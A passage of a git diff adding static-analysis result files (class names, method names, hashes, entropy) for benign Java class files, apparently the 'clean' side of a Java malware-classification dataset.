"style=\"filled\"", "fillcolor=\"#EEEEEE\""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c1661a236caa94d34a75ccd62adcefa57e0705dc", "file_name": "java_clean/42eab5474add995d190f75452de6c40ba5287e1e7cc4c5eda6f01f39a252e5c7", "_id": "bfcb6432-ce70-413f-b930-bc97cfa9dac8", "score": 0, "entropy": 5.380426049861193, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6663, "ssdeep": "96:JX0olOWsYD8xxIA9a0dhRC051ZwzyA9ewCS4EJxrSZluRqmaX0RSmcrCRShhX7oA:ZrlzYVG5VMLL", "sha256": "42eab5474add995d190f75452de6c40ba5287e1e7cc4c5eda6f01f39a252e5c7", "md5": "05da87210ae37e7c9cf5281938ad80ad", "parent_sha256": "42eab5474add995d190f75452de6c40ba5287e1e7cc4c5eda6f01f39a252e5c7"}} \ No newline at end of file diff --git a/java_classification/data/clean/42eea8189284a424f2003140478b57c5c5952df47c77589de822364734c6c36f.results b/java_classification/data/clean/42eea8189284a424f2003140478b57c5c5952df47c77589de822364734c6c36f.results new file mode 100755 index 0000000..d359254 --- /dev/null +++ b/java_classification/data/clean/42eea8189284a424f2003140478b57c5c5952df47c77589de822364734c6c36f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/hsqldb/jdbc/jdbcResultSetMetaData", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/sql/ResultSetMetaData"], "major_version": 46, "method_names": ["", "", "init", "init", "getColumnCount", "isAutoIncrement", "isCaseSensitive", "isSearchable", "isCurrency", "isNullable", "isSigned", "getColumnDisplaySize", "getColumnLabel", "getColumnName", "getSchemaName", "getPrecision", "getScale", "getTableName", "getCatalogName", "getColumnType", "getColumnTypeName", "isReadOnly", "isWritable", "isDefinitelyWritable", "getColumnClassName", "toString", "checkColumn"], "minor_version": 0, "const_pool_count": 268}}, "_id": "fe3a3ec7-b0fe-45f1-8806-a0415009d8e9", "verbose": {"java": {"constant strings": ["get_column_name", "", "[columnCount=0]", " column_"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8d4a5691d70c6b669c4af718918e9f0bb10444e2", "file_name": "java_clean/42eea8189284a424f2003140478b57c5c5952df47c77589de822364734c6c36f", "_id": "fe3a3ec7-b0fe-45f1-8806-a0415009d8e9", "score": 0, "entropy": 5.710985595363465, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 5116, "ssdeep": "96:PP6tlulznvWIK6+BUy0LF4rH6RJlfOcdVtI55:XNlzvWIBZ6j6RJd5K", "sha256": "42eea8189284a424f2003140478b57c5c5952df47c77589de822364734c6c36f", "md5": "44581af3b2ad4ce080666497d5c46d98", "parent_sha256": "42eea8189284a424f2003140478b57c5c5952df47c77589de822364734c6c36f"}} \ No newline at end of file diff --git a/java_classification/data/clean/443601f767e5d3fa91f603ae5502200f4c4bcc0e0d423e39a13db19938469630.results b/java_classification/data/clean/443601f767e5d3fa91f603ae5502200f4c4bcc0e0d423e39a13db19938469630.results new file mode 100755 index 0000000..1410ad1 --- /dev/null +++ b/java_classification/data/clean/443601f767e5d3fa91f603ae5502200f4c4bcc0e0d423e39a13db19938469630.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "javassist/scopedpool/ScopedClassPoolFactoryImpl", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["javassist/scopedpool/ScopedClassPoolFactory"], "sourcefile": "ScopedClassPoolFactoryImpl.java", "method_names": ["", "create", "create"], "minor_version": 0, "const_pool_count": 32}}, "_id": "ac386daa-a999-42af-bdb3-3edf0eec5d88", "metadata": {"mimetype": "application/x-java-applet", "sha1": "06104fe4da5e4503cad5e56459727979e01cf798", "file_name": "java_clean/443601f767e5d3fa91f603ae5502200f4c4bcc0e0d423e39a13db19938469630", "_id": "ac386daa-a999-42af-bdb3-3edf0eec5d88", "score": 0, "entropy": 4.9364393333084005, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 1114, "ssdeep": "24:TAxk4yQuljV7EjYLMSdjn3bvEf7ajSfIl1vq:uPyFlR7EjYLdbbveaBY", "sha256": "443601f767e5d3fa91f603ae5502200f4c4bcc0e0d423e39a13db19938469630", "md5": "74a3003dd617dea6b97ad22d77e5d7db", "parent_sha256": "443601f767e5d3fa91f603ae5502200f4c4bcc0e0d423e39a13db19938469630"}} \ No newline at end of file diff --git a/java_classification/data/clean/451505239d6f77ecdc656cc185d8f72a06a93478ae8ec4e004f3bb315d30a36d.results b/java_classification/data/clean/451505239d6f77ecdc656cc185d8f72a06a93478ae8ec4e004f3bb315d30a36d.results new file mode 100755 index 0000000..b7d17c5 --- /dev/null +++ b/java_classification/data/clean/451505239d6f77ecdc656cc185d8f72a06a93478ae8ec4e004f3bb315d30a36d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LocalPigLauncher.java", "class_name": "org/apache/pig/backend/local/executionengine/LocalPigLauncher", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "explain", "launchPig", "runPipeline", ""], "minor_version": 0, "const_pool_count": 354}}, "_id": "6b447b00-de7d-44a3-bf51-f535945420dd", "verbose": {"java": {"signatures": ["Ljava/util/List;"], "constant strings": ["running store with dependencies", "Failed to produce result in: \"", "\"", "Successfully stored result in: \"", "Records written : ", "Bytes written : ", "100% complete!", "Success!!", "Failed jobs!!", " out of ", " failed!", "true", "stop.on.failure", "false", "Execution failed, while processing "], "JAVA String Analysis": {"combined strings entropy": 4.472198053050222, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "true"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "329967b1ea1467c4bdd2dca511dfb5b697f2306b", "file_name": "java_clean/451505239d6f77ecdc656cc185d8f72a06a93478ae8ec4e004f3bb315d30a36d", "_id": "6b447b00-de7d-44a3-bf51-f535945420dd", "score": 0, "entropy": 5.704216370034918, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 8485, "ssdeep": "96:Ji8vbxtOlFlkrDhYIRtwsrzEtSQ26eJZPbplzbYAbO0taG22vor1Jdn8YrMANhaI:LGlKZjRuD8nx68O2o3", "sha256": "451505239d6f77ecdc656cc185d8f72a06a93478ae8ec4e004f3bb315d30a36d", "md5": "fb4660453bd975d13f4b84c5737ea7e2", "parent_sha256": "451505239d6f77ecdc656cc185d8f72a06a93478ae8ec4e004f3bb315d30a36d"}} \ No newline at end of file diff --git a/java_classification/data/clean/46084166451e6020c9256a230253958041737fd8257259b9948557778bbb8987.results b/java_classification/data/clean/46084166451e6020c9256a230253958041737fd8257259b9948557778bbb8987.results new file mode 100755 index 0000000..b75493a --- /dev/null +++ b/java_classification/data/clean/46084166451e6020c9256a230253958041737fd8257259b9948557778bbb8987.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "WindowsTerminal.java", "class_name": "jline/WindowsTerminal$ReplayPrefixOneCharInputStream", "access_permissions": ["ACC_SUPER"], "major_version": 47, "method_names": ["", "setInput", "setInputUTF8", "read", "available"], "minor_version": 0, "const_pool_count": 87}}, "_id": "b056e253-6b01-405d-abf3-c43491a30336", "verbose": {"java": {"constant strings": ["UTF-8", "UTF-16", "UTF-32", "invalid UTF-8 first byte: "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2dc7cb56cb8bfa6dc85bc4cacb0bc5d22ec6fb79", "file_name": "java_clean/46084166451e6020c9256a230253958041737fd8257259b9948557778bbb8987", "_id": "b056e253-6b01-405d-abf3-c43491a30336", "score": 0, "entropy": 5.500542067974769, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 1797, "ssdeep": "48:P76BGlMaCGGI7zmnUVV6G7zK/Z1MoluW8FA679cNr:PDlYJI3VV65nu9RK5", "sha256": "46084166451e6020c9256a230253958041737fd8257259b9948557778bbb8987", "md5": "f231ab73d6b54aa079e316d00f2f487f", "parent_sha256": "46084166451e6020c9256a230253958041737fd8257259b9948557778bbb8987"}} \ No newline at end of file diff --git a/java_classification/data/clean/464c4b0d8566b7e77fe4d63c0ce8c3ba2b9d3f0a041086893de9509b1e37926b.results b/java_classification/data/clean/464c4b0d8566b7e77fe4d63c0ce8c3ba2b9d3f0a041086893de9509b1e37926b.results new file mode 100755 index 0000000..3473c97 --- /dev/null +++ b/java_classification/data/clean/464c4b0d8566b7e77fe4d63c0ce8c3ba2b9d3f0a041086893de9509b1e37926b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "RolloverFileOutputStream.java", "class_name": "org/mortbay/util/RolloverFileOutputStream$Rollover", "access_permissions": ["ACC_SUPER"], "major_version": 46, "method_names": ["", "timeToStop", "run"], "minor_version": 0, "const_pool_count": 157}}, "_id": "f3827ca6-da83-4c2b-8c36-7aaf0afaf703", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "Rollover"}}}, "constant strings": ["Rollover", "Rollover sleep until "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "59dd6a7075091a492365ef83808d905a2c44bbb2", "file_name": "java_clean/464c4b0d8566b7e77fe4d63c0ce8c3ba2b9d3f0a041086893de9509b1e37926b", "_id": "f3827ca6-da83-4c2b-8c36-7aaf0afaf703", "score": 0, "entropy": 5.673663818550377, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 2615, "ssdeep": "48:oQH0L6glTR1ESvRPXqanL7d3//rsRlFM7DX4CmKZG6Hy:oxl11zJzARHMv47GG6Hy", "sha256": "464c4b0d8566b7e77fe4d63c0ce8c3ba2b9d3f0a041086893de9509b1e37926b", "md5": "ee852d725e6ef1ef839631c606c5b410", "parent_sha256": "464c4b0d8566b7e77fe4d63c0ce8c3ba2b9d3f0a041086893de9509b1e37926b"}} \ No newline at end of file diff --git a/java_classification/data/clean/468b20069b2ece0ae2fc72582d887ff6c89920abf7fe00aa5fb7c24eb311640d.results b/java_classification/data/clean/468b20069b2ece0ae2fc72582d887ff6c89920abf7fe00aa5fb7c24eb311640d.results new file mode 100755 index 0000000..580e032 --- /dev/null +++ b/java_classification/data/clean/468b20069b2ece0ae2fc72582d887ff6c89920abf7fe00aa5fb7c24eb311640d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DateLayout.java", "class_name": "org/apache/log4j/helpers/DateLayout", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "major_version": 45, "method_names": ["", "getOptionStrings", "setOption", "setDateFormat", "getDateFormat", "setTimeZone", "getTimeZone", "activateOptions", "dateFormat", "setDateFormat", "setDateFormat"], "minor_version": 3, "const_pool_count": 150}}, "_id": "337bc66c-c732-49fd-ba8d-79bfca6c3cd1", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "DATE"}}}, "constant strings": ["DateFormat", "TimeZone", "NULL", "RELATIVE", "ABSOLUTE", "DATE", "ISO8601"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7f08b48ccb97cd1b3ec4b05dd8752ca239de9c25", "file_name": "java_clean/468b20069b2ece0ae2fc72582d887ff6c89920abf7fe00aa5fb7c24eb311640d", "_id": "337bc66c-c732-49fd-ba8d-79bfca6c3cd1", "score": 0, "entropy": 5.44019256148362, "libmagic": "compiled Java class data, version 45.3", "file_size": 3445, "ssdeep": "48:u5Fmj351P18ByFlmMUALSv/YXUJETFbRr/hTzdhURnP8MGa78w0ER2dP9uvO4KVL:u6xpFldLkwFdDFoRZslJ9u3KDN", "sha256": "468b20069b2ece0ae2fc72582d887ff6c89920abf7fe00aa5fb7c24eb311640d", "md5": "c7b37d12cdad846b74c2b343302ce45a", "parent_sha256": "468b20069b2ece0ae2fc72582d887ff6c89920abf7fe00aa5fb7c24eb311640d"}} \ No newline at end of file diff --git a/java_classification/data/clean/47175bb29d333ee0706900c89931abec517ba73957d4f270cb199bb67d55fae4.results b/java_classification/data/clean/47175bb29d333ee0706900c89931abec517ba73957d4f270cb199bb67d55fae4.results new file mode 100755 index 0000000..47be2d4 --- /dev/null +++ b/java_classification/data/clean/47175bb29d333ee0706900c89931abec517ba73957d4f270cb199bb67d55fae4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "JType.java", "class_name": "org/apache/hadoop/record/compiler/JType", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["", "toCamelCase", "getSignature", "setJavaType", "getJavaType", "setCppType", "getCppType", "setCType", "getCType"], "minor_version": 0, "const_pool_count": 94}}, "_id": "0a0e1a8f-cb4d-4698-97e0-1f35c74b856a", "verbose": {"java": {"constant strings": [""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6c2a181636ce4096aea080a07cb24afaa06504d5", "file_name": "java_clean/47175bb29d333ee0706900c89931abec517ba73957d4f270cb199bb67d55fae4", "_id": "0a0e1a8f-cb4d-4698-97e0-1f35c74b856a", "score": 0, "entropy": 5.160462216249678, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2223, "ssdeep": "48:YO2lXstRA6RmRnyFlWR3MeARA34LRAXRsR0SRmRTRXooPIRgER2RTRAbk4XlPAzh:YnlXstRA6RmRyFlWR3RARA3uRAuRHRmF", "sha256": "47175bb29d333ee0706900c89931abec517ba73957d4f270cb199bb67d55fae4", "md5": "ec2f54caf6c2d1459b8566e9ccdf5c0f", "parent_sha256": "47175bb29d333ee0706900c89931abec517ba73957d4f270cb199bb67d55fae4"}} \ No newline at end of file diff --git a/java_classification/data/clean/4755953c26b2790b62e7db29bf02af71feaec0d8de9986a567c93c05aa4fd7d5.results b/java_classification/data/clean/4755953c26b2790b62e7db29bf02af71feaec0d8de9986a567c93c05aa4fd7d5.results new file mode 100755 index 0000000..b82bc29 --- /dev/null +++ b/java_classification/data/clean/4755953c26b2790b62e7db29bf02af71feaec0d8de9986a567c93c05aa4fd7d5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DoubleMax.java", "class_name": "org/apache/pig/builtin/DoubleMax$Final", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "exec", "exec"], "minor_version": 0, "const_pool_count": 75}}, "_id": "8c961788-7fd7-4e17-b09e-07a0eaf85601", "verbose": {"java": {"signatures": ["Lorg/apache/pig/EvalFunc;"], "constant strings": ["Error while computing max in "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6d23273fb9c16cfddbb920bce05b2e3807fc62c2", "file_name": "java_clean/4755953c26b2790b62e7db29bf02af71feaec0d8de9986a567c93c05aa4fd7d5", "_id": "8c961788-7fd7-4e17-b09e-07a0eaf85601", "score": 0, "entropy": 5.311331590348098, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1530, "ssdeep": "24:HVtWzeyyQuljZEF2VebWmg/ebz9LALwurL+gIldHyZUmYlY3JKd8i:1tWzeyyFltA2VebWmg/eH9LSlLfIldSa", "sha256": "4755953c26b2790b62e7db29bf02af71feaec0d8de9986a567c93c05aa4fd7d5", "md5": "1b0737b48fc94eec3dfd745e58508ac3", "parent_sha256": "4755953c26b2790b62e7db29bf02af71feaec0d8de9986a567c93c05aa4fd7d5"}} \ No newline at end of file diff --git a/java_classification/data/clean/47d2fd32662c15cb55d08d99540a2328b3e66ada13452e996b5659a5b9466cf6.results b/java_classification/data/clean/47d2fd32662c15cb55d08d99540a2328b3e66ada13452e996b5659a5b9466cf6.results new file mode 100755 index 0000000..0815f4f --- /dev/null +++ b/java_classification/data/clean/47d2fd32662c15cb55d08d99540a2328b3e66ada13452e996b5659a5b9466cf6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "StackMap.java", "class_name": "javassist/bytecode/StackMap$SimpleCopy", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "doit", "visit", "locals", "typeInfoArray", "typeInfo", "objectVariable", "uninitialized"], "minor_version": 0, "const_pool_count": 81}}, "_id": "beb05164-232f-425d-8f3f-1ee38518d306", "metadata": {"mimetype": "application/x-java-applet", "sha1": "8cb6a4698669e53df35aa9aa6e52fcb99ff55706", "file_name": "java_clean/47d2fd32662c15cb55d08d99540a2328b3e66ada13452e996b5659a5b9466cf6", "_id": "beb05164-232f-425d-8f3f-1ee38518d306", "score": 0, "entropy": 5.053899161452955, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 1718, "ssdeep": "24:BWHCTXdeulj7/arf64n9vllUesVKJa2CdSgabRhic0rHR+HN/GQvjFD+MLxERfJf:BWiD9lC6sNllUyJ2I6C9GKrER88", "sha256": "47d2fd32662c15cb55d08d99540a2328b3e66ada13452e996b5659a5b9466cf6", "md5": "fd56e51cfc5b918efbd6c6af4e9e57bb", "parent_sha256": "47d2fd32662c15cb55d08d99540a2328b3e66ada13452e996b5659a5b9466cf6"}} \ No newline at end of file diff --git a/java_classification/data/clean/481e58009f1ce9a18c453143557d3f646605acd6a46fa47ead5a565fe78973e6.results b/java_classification/data/clean/481e58009f1ce9a18c453143557d3f646605acd6a46fa47ead5a565fe78973e6.results new file mode 100755 index 0000000..2ccc94a --- /dev/null +++ b/java_classification/data/clean/481e58009f1ce9a18c453143557d3f646605acd6a46fa47ead5a565fe78973e6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/mechanics/ResearchPlanner$3", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "ResearchPlanner.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 98}}, "_id": "0ea93787-0a13-4821-99de-55d8b93d4f61", "metadata": {"mimetype": "application/x-java-applet", "sha1": "23ab6cdb43bd572d506ea6a1adf8d7a72cf1c8e9", "file_name": "java_clean/481e58009f1ce9a18c453143557d3f646605acd6a46fa47ead5a565fe78973e6", "_id": "0ea93787-0a13-4821-99de-55d8b93d4f61", "score": 0, "entropy": 5.4521238418010665, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1755, "ssdeep": "24:6pOw/B7krJljZFXO2a08oT811EtwbeleJFuEfl7Y/OK/pTBbgXQBic:6OyB74ldQo61ETeJF3N7tupTBcXQBic", "sha256": "481e58009f1ce9a18c453143557d3f646605acd6a46fa47ead5a565fe78973e6", "md5": "f1513c788a8778c52f7f816dc2ee219a", "parent_sha256": "481e58009f1ce9a18c453143557d3f646605acd6a46fa47ead5a565fe78973e6"}} \ No newline at end of file diff --git a/java_classification/data/clean/49515923b7e92d59a3e15f5ab96a22ece95c95064d9ed4a72d5d63841aca5518.results b/java_classification/data/clean/49515923b7e92d59a3e15f5ab96a22ece95c95064d9ed4a72d5d63841aca5518.results new file mode 100755 index 0000000..6dc63d3 --- /dev/null +++ b/java_classification/data/clean/49515923b7e92d59a3e15f5ab96a22ece95c95064d9ed4a72d5d63841aca5518.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Decoder.java", "class_name": "org/apache/commons/codec/Decoder", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 45, "method_names": ["decode"], "minor_version": 3, "const_pool_count": 12}}, "_id": "9f71c33b-9069-443b-9712-31103403090a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "863894271a0ad9ce089ff68f318be672659a99e7", "file_name": "java_clean/49515923b7e92d59a3e15f5ab96a22ece95c95064d9ed4a72d5d63841aca5518", "_id": "9f71c33b-9069-443b-9712-31103403090a", "score": 0, "entropy": 4.870638939910177, "libmagic": "compiled Java class data, version 45.3", "file_size": 248, "ssdeep": "3:Dblmzla1iPCK8PtpCkCK8Pw/ldlujXRspBKBn1KV5KI3gmfqQCK8PLm5KI3gmzpL:czlaNPt8P4dXLMA3TQmSRPLqTQm5Y+t", "sha256": "49515923b7e92d59a3e15f5ab96a22ece95c95064d9ed4a72d5d63841aca5518", "md5": "3de8fb2cb7dc5ccb830fa90faa6a1ade", "parent_sha256": "49515923b7e92d59a3e15f5ab96a22ece95c95064d9ed4a72d5d63841aca5518"}} \ No newline at end of file diff --git a/java_classification/data/clean/4966ae9fb8615cea1b3786f266c5329c0e25747a0e535815971b750f27eb5a18.results b/java_classification/data/clean/4966ae9fb8615cea1b3786f266c5329c0e25747a0e535815971b750f27eb5a18.results new file mode 100755 index 0000000..07c6054 --- /dev/null +++ b/java_classification/data/clean/4966ae9fb8615cea1b3786f266c5329c0e25747a0e535815971b750f27eb5a18.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/xml/sax/SAXException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "", "", "", "getMessage", "getException", "toString"], "minor_version": 0, "const_pool_count": 30}}, "_id": "2570124f-1f3a-4adf-929b-792aa649ab5a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "181a3bd26a6aca0eb9ee711a39878bb84d49e792", "file_name": "java_clean/4966ae9fb8615cea1b3786f266c5329c0e25747a0e535815971b750f27eb5a18", "_id": "2570124f-1f3a-4adf-929b-792aa649ab5a", "score": 0, "entropy": 4.835756528739444, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 664, "ssdeep": "12:RMldU3SDQ1MqEKMsuMOizdhTwvXsHgIhEV+fr+lopk6:RmdU3yQwW7cUAIhEYe+k6", "sha256": "4966ae9fb8615cea1b3786f266c5329c0e25747a0e535815971b750f27eb5a18", "md5": "99f4ce6eed705580286e825207ca555f", "parent_sha256": "4966ae9fb8615cea1b3786f266c5329c0e25747a0e535815971b750f27eb5a18"}} \ No newline at end of file diff --git a/java_classification/data/clean/49ce7880ce02c6d6fa0a8e16b3248832885b59bfa42ecff7400a8a2b6936f69f.results b/java_classification/data/clean/49ce7880ce02c6d6fa0a8e16b3248832885b59bfa42ecff7400a8a2b6936f69f.results new file mode 100755 index 0000000..ee86f8b --- /dev/null +++ b/java_classification/data/clean/49ce7880ce02c6d6fa0a8e16b3248832885b59bfa42ecff7400a8a2b6936f69f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "AIPlanet.java", "class_name": "hu/openig/model/AIPlanet", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "assign", "findLocation", "hasInventory", "canBuild", "canBuildReplacement", "inventoryCount", "inventoryCount", "addInventoryCount"], "minor_version": 0, "const_pool_count": 233}}, "_id": "32050529-7d63-4b1f-b5d5-5626a1fd217d", "verbose": {"java": {"signatures": ["Ljava/util/List;", "Ljava/util/Map;", "Ljava/util/List;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bfde1599e6fffae36de2d933940e3493235c2f87", "file_name": "java_clean/49ce7880ce02c6d6fa0a8e16b3248832885b59bfa42ecff7400a8a2b6936f69f", "_id": "32050529-7d63-4b1f-b5d5-5626a1fd217d", "score": 0, "entropy": 5.616995871865607, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5417, "ssdeep": "96:Aq/gFvfWKl61HAFENGpPuQCRyRWro0RfV6PNePtJmygj9:N4FBlsgFcZ/ysrT96PNePtFgj9", "sha256": "49ce7880ce02c6d6fa0a8e16b3248832885b59bfa42ecff7400a8a2b6936f69f", "md5": "106aa9e274ec231b6685de3cee042d00", "parent_sha256": "49ce7880ce02c6d6fa0a8e16b3248832885b59bfa42ecff7400a8a2b6936f69f"}} \ No newline at end of file diff --git a/java_classification/data/clean/4aad41645a4b518b6352f6743b29a928ef100693fa66d493ec4c773d54f14533.results b/java_classification/data/clean/4aad41645a4b518b6352f6743b29a928ef100693fa66d493ec4c773d54f14533.results new file mode 100755 index 0000000..a72c05b --- /dev/null +++ b/java_classification/data/clean/4aad41645a4b518b6352f6743b29a928ef100693fa66d493ec4c773d54f14533.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CategoryNode.java", "class_name": "org/apache/log4j/lf5/viewer/categoryexplorer/CategoryNode", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "getTitle", "setSelected", "isSelected", "setAllDescendantsSelected", "setAllDescendantsDeSelected", "toString", "equals", "hashCode", "addRecord", "getNumberOfContainedRecords", "resetNumberOfContainedRecords", "hasFatalRecords", "hasFatalChildren", "setHasFatalRecords", "setHasFatalChildren", "getTotalNumberOfRecords", "addRecordFromChild", "getNumberOfRecordsFromChildren", "addRecordToParent"], "minor_version": 3, "const_pool_count": 125}}, "_id": "166cf714-92a9-4f40-b2ad-6df4f79ae0e2", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f0ef11112b86b9fcd6dd13c6ff0539451d380c72", "file_name": "java_clean/4aad41645a4b518b6352f6743b29a928ef100693fa66d493ec4c773d54f14533", "_id": "166cf714-92a9-4f40-b2ad-6df4f79ae0e2", "score": 0, "entropy": 5.001594833614917, "libmagic": "compiled Java class data, version 45.3", "file_size": 3377, "ssdeep": "48:qDiTKQZKA5hGlQkcDQV9Y2CHUMzmPlEa4OnmyKitgAeokeoIExpjiI:6iGEKGclXc6TlASKw0eKZ", "sha256": "4aad41645a4b518b6352f6743b29a928ef100693fa66d493ec4c773d54f14533", "md5": "625027a5a9f4e00084580a5a89795cb7", "parent_sha256": "4aad41645a4b518b6352f6743b29a928ef100693fa66d493ec4c773d54f14533"}} \ No newline at end of file diff --git a/java_classification/data/clean/4ab9e56f49fa2fd291a61d91b4a515ad0bbff5426d62df33750e165676ac53a4.results b/java_classification/data/clean/4ab9e56f49fa2fd291a61d91b4a515ad0bbff5426d62df33750e165676ac53a4.results new file mode 100755 index 0000000..4b7ddb9 --- /dev/null +++ b/java_classification/data/clean/4ab9e56f49fa2fd291a61d91b4a515ad0bbff5426d62df33750e165676ac53a4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/pig/data/DataBag", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "interfaces": ["org/apache/pig/impl/util/Spillable", "org/apache/hadoop/io/WritableComparable", "java/lang/Iterable", "java/io/Serializable"], "sourcefile": "DataBag.java", "method_names": ["size", "isSorted", "isDistinct", "iterator", "add", "addAll", "clear", "markStale"], "minor_version": 0, "const_pool_count": 33}}, "_id": "84b5c9a8-3cdc-4a13-8f9c-4f90b7ea5986", "verbose": {"java": {"signatures": ["()Ljava/util/Iterator;", "Ljava/lang/Object;Lorg/apache/pig/impl/util/Spillable;Lorg/apache/hadoop/io/WritableComparable;Ljava/lang/Iterable;Ljava/io/Serializable;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "219b40646113891ca1abf287476b3d22b601bac8", "file_name": "java_clean/4ab9e56f49fa2fd291a61d91b4a515ad0bbff5426d62df33750e165676ac53a4", "_id": "84b5c9a8-3cdc-4a13-8f9c-4f90b7ea5986", "score": 0, "entropy": 5.094314651129059, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 768, "ssdeep": "12:XGUdmN08dq8aSKFCg19Cgi1SCEtVlVKjRjCYhFtLCgq/fCEtiRvCYhHSrh/EQzzj:jmN08dq8aSKFD9BRtdi9NFdw/fRti9N0", "sha256": "4ab9e56f49fa2fd291a61d91b4a515ad0bbff5426d62df33750e165676ac53a4", "md5": "1640e4f6e6646d743c78fbc73d5d1afa", "parent_sha256": "4ab9e56f49fa2fd291a61d91b4a515ad0bbff5426d62df33750e165676ac53a4"}} \ No newline at end of file diff --git a/java_classification/data/clean/4b951143768f88aaed26ef00eb1a8d6c85c3420fc2bf64009cf75facf379c2c8.results b/java_classification/data/clean/4b951143768f88aaed26ef00eb1a8d6c85c3420fc2bf64009cf75facf379c2c8.results new file mode 100755 index 0000000..ba9d2ad --- /dev/null +++ b/java_classification/data/clean/4b951143768f88aaed26ef00eb1a8d6c85c3420fc2bf64009cf75facf379c2c8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/log4j/lf5/viewer/LogBrokerMonitor$10", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/awt/event/ActionListener"], "sourcefile": "LogBrokerMonitor.java", "method_names": ["", "actionPerformed"], "minor_version": 3, "const_pool_count": 52}}, "_id": "4ec57ba8-da91-426d-ac43-b0f85213952d", "metadata": {"mimetype": "application/x-java-applet", "sha1": "cccbe27f40a92a81ef33a45caee0d5486ba2c906", "file_name": "java_clean/4b951143768f88aaed26ef00eb1a8d6c85c3420fc2bf64009cf75facf379c2c8", "_id": "4ec57ba8-da91-426d-ac43-b0f85213952d", "score": 0, "entropy": 5.247194192428926, "libmagic": "compiled Java class data, version 45.3", "file_size": 1124, "ssdeep": "24:cg3wiF9uljXoYnTgjuqVL5P5PXKXXLMkUPBhamQ9:NAiGlfnTouqJUXLMksaj", "sha256": "4b951143768f88aaed26ef00eb1a8d6c85c3420fc2bf64009cf75facf379c2c8", "md5": "d460941c8bd7fe77359dde83455739e5", "parent_sha256": "4b951143768f88aaed26ef00eb1a8d6c85c3420fc2bf64009cf75facf379c2c8"}} \ No newline at end of file diff --git a/java_classification/data/clean/4c043b84d91538a5a0572da35f9f42e5def52396e181595d139d14cc91d96be1.results b/java_classification/data/clean/4c043b84d91538a5a0572da35f9f42e5def52396e181595d139d14cc91d96be1.results new file mode 100755 index 0000000..ec47cdb --- /dev/null +++ 